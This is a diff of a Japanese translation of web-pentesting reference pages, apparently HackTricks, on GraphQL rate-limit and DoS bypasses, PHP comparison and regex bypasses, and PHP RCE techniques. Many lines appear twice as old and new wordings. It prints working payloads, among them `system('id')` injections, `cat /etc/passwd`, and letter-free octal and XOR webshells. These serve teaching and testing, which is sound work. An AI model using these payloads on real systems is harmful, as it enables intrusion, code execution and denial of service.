以下の例では、操作が「forgotPassword」であり、それに関連付けられたforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
|
||||
以下の例では、操作が「forgotPassword」であり、それに関連するforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするために、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
|
||||
|
||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## GraphQLにおけるエイリアスを使用したレート制限のバイパス
|
||||
|
||||
GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティの名前を明示的に指定する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンスを単一のリクエスト内で取得する**のに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。
|
||||
GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティを明示的に命名する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンス**を単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。
|
||||
|
||||
GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
|
||||
|
||||
エイリアスの主な目的は、数多くのAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。
|
||||
エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を阻止するために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用することで、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避することができます。
|
||||
|
||||
以下の例を考えてみてください。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。
|
||||
```bash
|
||||
@ -501,7 +497,7 @@ curl -X POST -H "Content-Type: application/json" \
|
||||
|
||||
### **配列ベースのクエリバッチ処理**
|
||||
|
||||
**配列ベースのクエリバッチ処理**は、GraphQL APIが単一のリクエストで複数のクエリをバッチ処理することを許可する脆弱性であり、攻撃者が大量のクエリを同時に送信できるようにします。これにより、すべてのバッチ処理されたクエリが並行して実行され、バックエンドが圧倒され、過剰なリソース(CPU、メモリ、データベース接続)を消費し、最終的には**サービス拒否(DoS)**につながる可能性があります。バッチ内のクエリ数に制限がない場合、攻撃者はこれを利用してサービスの可用性を低下させることができます。
|
||||
**配列ベースのクエリバッチ処理**は、GraphQL APIが単一のリクエストで複数のクエリをバッチ処理することを許可する脆弱性であり、攻撃者が同時に大量のクエリを送信できるようになります。これにより、すべてのバッチ処理されたクエリが並行して実行され、バックエンドが圧倒され、過剰なリソース(CPU、メモリ、データベース接続)を消費し、最終的には**サービス拒否(DoS)**につながる可能性があります。バッチ内のクエリ数に制限がない場合、攻撃者はこれを悪用してサービスの可用性を低下させることができます。
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -509,11 +505,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になります。
|
||||
この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。
|
||||
|
||||
### **ディレクティブオーバーローディング脆弱性**
|
||||
|
||||
**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することでこれを悪用し、高い計算またはメモリ使用を引き起こし、**サービス拒否(DoS)**につながる可能性があります。
|
||||
**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することで、計算またはメモリ使用量を高め、**サービス拒否(DoS)**を引き起こすことができます。
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -521,7 +517,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
前の例では、`@aa`は**宣言されていない可能性がある**カスタムディレクティブです。通常存在する一般的なディレクティブは**`@include`**です:
|
||||
前の例では、`@aa` は宣言されていない可能性があるカスタムディレクティブです。通常存在する一般的なディレクティブは **`@include`** です:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
@ -539,7 +535,7 @@ curl -X POST \
|
||||
|
||||
### **フィールド重複脆弱性**
|
||||
|
||||
**フィールド重複**は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は何百または何千もの繰り返されたフィールドを持つクエリを作成でき、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。
|
||||
**フィールド重複**は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、数百または数千の繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||||
@ -555,10 +551,10 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 使用されている graphql のフィンガープリンティング
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): スキーマを取得し、機密データを検索し、認可をテストし、スキーマをブルートフォースし、特定のタイプへのパスを見つけるために使用できるツールキット。
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): スタンドアロンまたは [Burp 拡張機能](https://github.com/doyensec/inql) として使用できます。
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI クライアントとしても使用でき、攻撃を自動化します
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI クライアントとしても使用でき、攻撃を自動化できます: `python3 graphqlmap.py -u http://example.com/graphql --inject`
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL スキーマ内の特定のタイプに到達するさまざまな方法をリストするツール**。
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL のスタンドアロンおよび CLI モードの後継
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度な GraphQL テスト用の Burp 拡張機能。_**スキャナー**_ は InQL v5.0 のコアであり、GraphQL エンドポイントまたはローカルのイントロスペクションスキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。_**アタッカー**_ コンポーネントを使用すると、バッチ GraphQL 攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます。
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度な GraphQL テスト用の Burp 拡張機能または Python スクリプト。_**スキャナー**_ は InQL v5.0 のコアであり、GraphQL エンドポイントまたはローカルのイントロスペクションスキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。_**アタッカー**_ コンポーネントを使用すると、バッチ GraphQL 攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます: `python3 inql.py -t http://example.com/graphql -o output.json`
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 一部の Graphql データベースの助けを借りて、イントロスペクションが無効になっていてもスキーマを取得しようとします。
|
||||
|
||||
### クライアント
|
||||
|
@ -20,7 +20,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## PHPの比較をバイパスする
|
||||
|
||||
### 緩い比較/型ジャグリング ( == )
|
||||
### 緩やかな比較/型ジャグリング ( == )
|
||||
|
||||
PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためであり、比較されるデータの型も同じであることを比較したい場合は、`===`を使用する必要があります。
|
||||
|
||||
@ -36,10 +36,10 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
- `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります(文字列内の数字は数字として解釈されます)
|
||||
- `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい
|
||||
- `"0X3264578" == 0X --> True` "0"で始まり、任意の文字(Xは任意の文字)で続き、何かが続く文字列は0と等しい
|
||||
- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、任意の文字がない値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、任意の文字がないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい
|
||||
|
||||
詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)を参照してください。
|
||||
詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)で確認できます。
|
||||
|
||||
### **in_array()**
|
||||
|
||||
@ -64,7 +64,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
|
||||
### 厳密な型のジャグリング
|
||||
|
||||
`===`が**使用されている**場合でも、**比較が脆弱になる**ようなエラーが発生する可能性があります。例えば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合です:
|
||||
`===`が**使用されている**場合でも、**比較が脆弱になる**ようなエラーが発生する可能性があります。たとえば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合です:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
このチェックを回避するには、**新しい行をURLエンコードした値を送信する**(`%0A`)か、**JSONデータ**を送信できる場合は、**複数行で送信**します:
|
||||
このチェックを回避するには、**新しい行を含む値をURLエンコードして送信**するか(`%0A`)、**JSONデータ**を送信できる場合は、**複数行**で送信します:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -97,8 +97,8 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram
|
||||
|
||||
#### **長さエラーのバイパス**
|
||||
|
||||
(このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした)\
|
||||
`preg_match()`に有効な非常に**大きな入力**を送信すると、**処理できなくなり**、チェックを**バイパス**できるようになります。たとえば、JSONをブラックリストに登録している場合、次のように送信できます:
|
||||
(このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした)\
|
||||
`preg_match()`に有効な非常に**大きな入力**を送信すると、**処理できなくなり**、チェックを**バイパス**できるようになります。たとえば、JSONをブラックリストに登録している場合、次のように送信できます:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
@ -110,13 +110,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
要するに、問題は PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) に基づいているために発生します。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、スタックスペースを大量に消費します。再帰の回数に制限を設定することは可能ですが、PHP ではこの制限は [デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) であり、スタックに収まる以上の数です。
|
||||
要するに、問題はPHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいているために発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。再帰の許可数に制限を設定することは可能ですが、PHPではこの制限は[デフォルトで100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)であり、スタックに収まる以上の数です。
|
||||
|
||||
[この Stackoverflow スレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) もこの問題について詳しく説明されている投稿にリンクされています。私たちのタスクは明確でした:\
|
||||
**正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に `{system(<verybadcommand>)}` のような驚きを投げかけて SSTI --> RCE --> フラグ :)**。
|
||||
[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、問題についてより深く語られている投稿にリンクされています。私たちのタスクは明確でした:\
|
||||
**正規表現が100,000回以上の再帰を行うような入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにして、アプリケーションが私たちの入力を悪意のないものと考えさせ、ペイロードの最後に`{system(<verybadcommand>)}`のような驚きを投げかけてSSTI --> RCE --> フラグを取得することです :)**。
|
||||
|
||||
さて、正規表現の用語で言えば、実際には 100k の「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは [PHP ドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によれば、`pcre.backtrack_limit` 変数のデフォルトは 1,000,000 (1M) です。\
|
||||
それを達成するために、`'X'*500_001` は 100 万のバックトラッキングステップ(500k 前方と 500k 後方)を生成します:
|
||||
さて、正規表現の用語で言えば、実際には100kの「再帰」を行っているわけではなく、「バックトラッキングステップ」を数えているのです。これは[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によれば、`pcre.backtrack_limit`変数のデフォルトは1,000,000(1M)です。\
|
||||
それを達成するために、`'X'*500_001`は100万のバックトラッキングステップ(50万前進し、50万後退)を生成します:
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
@ -153,11 +153,12 @@ readfile($page);
|
||||
|
||||
## さらなるトリック
|
||||
|
||||
- **register_globals**: **PHP < 4.1.1.1** または誤って設定されている場合、**register_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のような $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きすることができます。
|
||||
- **register_globals**: **PHP < 4.1.1.1** または誤って設定されている場合、**register_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のように $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きすることができます。
|
||||
- **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスする** ように設定することができます。\
|
||||
この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用する** ことができます。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。
|
||||
- マシンの **ユーザー名** を持っている場合、アドレス **/\~\<USERNAME>** をチェックして、php ディレクトリが有効になっているか確認します。
|
||||
- [**LFI と RCE を php ラッパーを使用して**](../../../pentesting-web/file-inclusion/index.html)
|
||||
この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用する**ことができます。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。
|
||||
- マシンの **ユーザー名** を持っている場合は、アドレス **/\~\<USERNAME>** をチェックして、php ディレクトリが有効になっているか確認します。
|
||||
- php 設定に **`register_argc_argv = On`** がある場合、スペースで区切られたクエリパラメータが **`array_keys($_SERVER['argv'])`** の引数配列を埋めるために使用されます。これは、**CLI からの引数**のように扱われます。この設定がオフの場合、**args 配列の値は `Null`** になります。したがって、ウェブページが `if (empty($_SERVER['argv'])) {` のような比較でウェブとして実行されているか CLI ツールとして実行されているかを確認しようとすると、攻撃者は **GET リクエストに `?--configPath=/lalala` のようなパラメータを送信することができ**、それが CLI として実行されていると考え、これらの引数を解析して使用する可能性があります。詳細は [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) を参照してください。
|
||||
- [**PHP ラッパーを使用した LFI と RCE**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
@ -228,13 +229,13 @@ preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算子**を使用できます。例えば、"**and"や"%26%26"、"|"**などです。"or"や"||"は機能しないことに注意してください。最初の条件が真である場合、ペイロードは実行されません。同様に、";"も機能しません。なぜなら、ペイロードは実行されないからです。
|
||||
コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算子**として「**and**」や「**%26%26**」、「**|**」を使用できます。「or」や「||」は機能しないことに注意してください。最初の条件が真である場合、ペイロードは実行されません。同様に、「;」も機能しません。なぜなら、ペイロードは実行されないからです。
|
||||
|
||||
**別のオプション**は、文字列にコマンドの実行を追加することです: `'.highlight_file('.passwd').'`
|
||||
|
||||
**別のオプション**(内部コードがある場合)は、実行を変更するために変数を修正することです: `$file = "hola"`
|
||||
|
||||
### **usort()を使用したRCE**
|
||||
### **usort()によるRCE**
|
||||
|
||||
この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\
|
||||
この関数を悪用するには:
|
||||
@ -265,21 +266,21 @@ usort();}phpinfo;#, "cmp");
|
||||
- `?order=id);}//`: **警告**が表示されます。それは正しいようです。
|
||||
- `?order=id));}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。おそらく、閉じ括弧が多すぎます。
|
||||
|
||||
### **.httaccess経由のRCE**
|
||||
### **.httaccessを介したRCE**
|
||||
|
||||
**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**されるように設定すること)。
|
||||
**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**できるように設定すること)。
|
||||
|
||||
異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。
|
||||
|
||||
### 環境変数経由のRCE
|
||||
### 環境変数を介したRCE
|
||||
|
||||
PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。
|
||||
- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。
|
||||
- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれており、他のコードの前にPHPランタイムによって実行されます**。
|
||||
1. シェルコードを含むPHPファイルをアップロードします。
|
||||
2. 1ステップでアップロードしたファイルを実行するようPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。
|
||||
3. 2ステップでアップロードしたファイルに`PHPRC`変数を設定します。
|
||||
3. `PHPRC`変数を2ステップでアップロードしたファイルに設定します。
|
||||
- このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。
|
||||
- **PHPRC** - 別のオプション
|
||||
- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは、`stdin`に送信されたリクエストの**本体**です:
|
||||
@ -311,8 +312,8 @@ phpinfo();
|
||||
```
|
||||
## PHP サニタイズバイパス & Brain Fuck
|
||||
|
||||
[**この投稿では**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 非常に少ない文字で許可された brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\
|
||||
さらに、いくつかのチェックをバイパスすることを可能にする関数を実行する興味深い方法も提案されています:
|
||||
[**この投稿**](https://blog.redteam-pentesting.de/2024/moodle-rce/) では、非常に少ない文字で許可された brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\
|
||||
さらに、いくつかのチェックをバイパスすることを可能にする関数を実行するための興味深い方法も提案されています:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
@ -352,17 +353,17 @@ echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCEを利用した新しい $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください:
|
||||
ページ内で**任意のクラスの新しいオブジェクトを作成できる**場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
||||
{{#endref}}
|
||||
|
||||
## 文字なしでPHPを実行
|
||||
## 文字なしでPHPを実行する
|
||||
|
||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||
|
||||
### 8進数を使用して
|
||||
### 8進数を使用する
|
||||
```php
|
||||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||
```
|
||||
@ -373,16 +374,16 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
|
||||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR easy shell code
|
||||
### XOR 簡単シェルコード
|
||||
|
||||
[**この解説** ](https://mgp25.com/ctf/Web-challenge/)によると、次のようにして簡単なシェルコードを生成することが可能です:
|
||||
According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
だから、**数字や文字なしで任意のPHPを実行できる**場合、次のようなリクエストを送信して、そのペイロードを悪用して任意のPHPを実行できます:
|
||||
だから、**数字と文字なしで任意のPHPを実行できる**場合、次のようなリクエストを送信して、そのペイロードを悪用して任意のPHPを実行できます:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -56,12 +56,12 @@
|
||||
|
||||
**サーバーキャッシュヘッダー**:
|
||||
|
||||
- **`X-Cache`**は、リクエストがキャッシュされていない場合は**`miss`**、キャッシュされている場合は**`hit`**の値を持つことがあります。
|
||||
- **`X-Cache`**は、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つことがあります。
|
||||
- ヘッダー**`Cf-Cache-Status`**でも同様の動作があります。
|
||||
- **`Cache-Control`**は、リソースがキャッシュされているかどうか、次回キャッシュされる時期を示します: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`**は、通常はキーがないヘッダーであっても、キャッシュキーの一部として扱われる**追加ヘッダー**を示すために、レスポンスでよく使用されます。
|
||||
- **`Age`**は、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`**は、リソースがキャッシュされていたことも示します。
|
||||
- **`Cache-Control`**は、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされる時期を示します: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`**は、通常はキーが設定されていないヘッダーであっても、キャッシュキーの一部として扱われる**追加ヘッダー**を示すために、応答でよく使用されます。
|
||||
- **`Age`**は、オブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`**もリソースがキャッシュされていることを示します。
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
@ -70,20 +70,21 @@
|
||||
**ローカルキャッシュヘッダー**:
|
||||
|
||||
- `Clear-Site-Data`: 削除すべきキャッシュを示すヘッダー: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: レスポンスが期限切れになる日時を含む: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Expires`: 応答が期限切れになる日時を含む: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache`は`Cache-Control: no-cache`と同じです。
|
||||
- `Warning`: **`Warning`**一般HTTPヘッダーは、メッセージの状態に関する可能な問題についての情報を含みます。レスポンスに複数の`Warning`ヘッダーが表示されることがあります。`Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: **`Warning`**一般HTTPヘッダーは、メッセージの状態に関する可能な問題についての情報を含みます。応答に複数の`Warning`ヘッダーが表示されることがあります。`Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## 条件付きリクエスト
|
||||
|
||||
- これらのヘッダーを使用するリクエスト: **`If-Modified-Since`**および**`If-Unmodified-Since`**は、レスポンスヘッダー\*\*`Last-Modified`\*\*が異なる時間を含む場合にのみデータで応答されます。
|
||||
- **`If-Match`**および**`If-None-Match`**を使用する条件付きリクエストは、Etag値を使用し、データ(Etag)が変更された場合にウェブサーバーがレスポンスの内容を送信します。`Etag`はHTTPレスポンスから取得されます。
|
||||
